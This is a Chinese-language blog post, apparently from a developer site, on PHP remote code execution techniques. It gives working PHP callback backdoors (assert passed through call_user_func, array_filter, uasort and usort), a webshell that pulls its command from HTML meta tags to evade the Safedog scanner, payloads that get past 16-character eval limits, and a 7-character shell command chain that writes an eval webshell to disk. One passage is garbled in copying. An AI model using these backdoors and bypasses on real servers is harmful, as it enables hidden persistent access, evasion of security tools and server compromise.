【安全】RCE

RCE

RCE(Remote Code Execution,远程代码执行)分为命令执行代码执行两种,一定条件下代码执行可以转化为命令执行。

RCE的基础-PHP回调后门

如果可以将回调函数中的两个参数都控制,就可以将代码执行转化为命令执行。

01 call_user_func

php中call_user_func是执行回调函数的标准方法。

call_user_func('assert', $_REQUEST['pass']);

在这里插入图片描述

问题:call_user_func('assert', $_REQUEST['pass']);传参是pass= P O S T [ 123 ] 时无法用蚁剑连接,而使用 p a s s = e v a l ( _POST[123]时无法用蚁剑连接,而使用pass=eval( POST[123]时无法用蚁剑连接,而使用pass=eval(_POST[123])可以连接?

原因:当使用 pass=$_POST[123] 传参时,如果 $_POST[123] 中的内容不能直接作为PHP代码被 assert() 执行(例如没有正确的语法或者引号),那么代码会失败,从而导致蚁剑无法连接。在这里插入图片描述

使用 pass=eval($_POST[123]) 时,eval()函数直接执行 $_POST[123] 中的内容,不管它是否带引号,因此成功连接。

在这里插入图片描述

所以假设有以下代码:

$pass = "eval('echo \"Hello, World!\";')";
assert($pass);

这段代码会出错,因为 assert($pass) 实际上是在执行:

eval('echo "Hello, World!"');

assert() 并不会去再执行 eval,它只会认为 assert 的参数是一个字符串,所以会出现语法错误。

02 call_user_func_array

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用,与第一个类似。

call_user_func_array('assert', array($_REQUEST['pass']));

在这里插入图片描述

03 array_filter

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,所以可以给 e 中传入要执行的命令, e中传入要执行的命令, e中传入要执行的命令,arr中传入命令执行的参数来实现命令执行。在这里插入图片描述

类似array_filter,array_map也有同样功效:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

在这里插入图片描述

04 uasort和uksort

php 5.4.8后的版本,assert函数由一个参数,增加了一个可选参数,所以会有以下回调后门。

比如如下回调后门:

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

在这里插入图片描述

同样的道理,uksort也是同样的功能,只不过函数处理的参数由value值变为了key值,使用起来没有区别:

<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);

在这里插入图片描述

以上两个回调后门,在php 5.4.8后的版本可以执行。

WebShell绕过安全狗

有如下webshell.php

<?php
get_meta_tags("http://127.0.0.1/test/demo.html")["author"](get_meta_tags("http://127.0.0.1/test/demo.html")["keywords"]);

demo.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="author" content="system">
    <meta name="keywords" content="whoami">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
</body>
</html>

webshell.php在执行过程中会从"http://127.0.0.1/test/demo.html"的demo.html文件的meta标签中去获取"author"和"keywords"两个参数,本身没有任何特征所以不会被查杀。在这里插入图片描述

eval长度限制16个字符绕过

PHP Eval函数参数限制在16个字符的情况下,如何拿到Webshell?

<?php
$param = $_REQUEST['param'];  If (
strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param, 'assert') === false
) {
eval($param);
}

01 $_GET[1]

可以利用如下方式绕过长度,‘eval’,'assert’限制;传入$_GET[1]接受后续参数;``表示在Linux中执行命令,同样也可以使用exec进行命令执行;echo输出执行结果。

?param=echo `$_GET[1]`;&1=id

在这里插入图片描述

02 file_put_contents函数

通过file_put_contents函数,将经过base64编码的值一个一个的追加写到文件N中,然后再利用PHP的伪协议进行解码,最终使用include将php文件执行。

<?php phpinfo();
base64编码后
PD9waHAgcGhwaW5mbygpOw==
?1=file_put_contents&param=$_GET[1](N,P,8);
?1=file_put_contents&param=$_GET[1](N,D,8);
...
?1=file_put_contents&param=$_GET[1](N,w,8);

(不知什么原因无法写入)

注意:

1.file_put_contents函数无法写入一些符号,例如“<”所以要写入编码后的值。

2.参数8代表以追加的形式写入,在file_put_contents函数的底层代码c里面8代表追加写入,不用FILE_APPEND参数是因为太长了。

3.include会将包含的所有文件当作php代码执行。

4.base64编码后的等号可以省略

最终访问时传入参数:

?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

在这里插入图片描述

03 usort(…$_GET);

利用PHP5.6+变长参数+usort回调后门 ⇒ 任意代码执行

?1[]=test&1[]=phpinfo();&2=assert

最终访问时传入参数:

usort(...$_GET);

...$_GETget变长参数,接收?1[]=test&1[]=phpinfo();&2=assert并执行

在这里插入图片描述

在这里插入图片描述

Linux命令长度限制在7个字符的情况下,如何拿到shell

<?php
$param = $_REQUEST['param'];  
if(strlen($param) < 8) 
{echo shell_exec($param);}

w 长度最短的命令

w > hp,这表示将 w 命令的输出重定向到一个名为 hp 的文件中。具体解释如下:
w:执行 w 命令,获取当前系统登录用户的信息。
> hp:将 w 命令的输出重定向到名为 hp 的文件中。如果文件不存在,将创建该文件;如果文件已存在,内容将被覆盖。

ls -t 以创建时间来列出当前目录下所有文件

文件列表以[换行符]分割每个文件

引入 \ 转义ls时的换行

换行不影响命令执行

成功构造任意命令执行,写入Webshell

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php

ls -t>0

sh 0

w>hp
w>c.p\\
w>d\>\\
...
ls -t>0
sh 0

ll -t

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

成功写入

  • 22
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值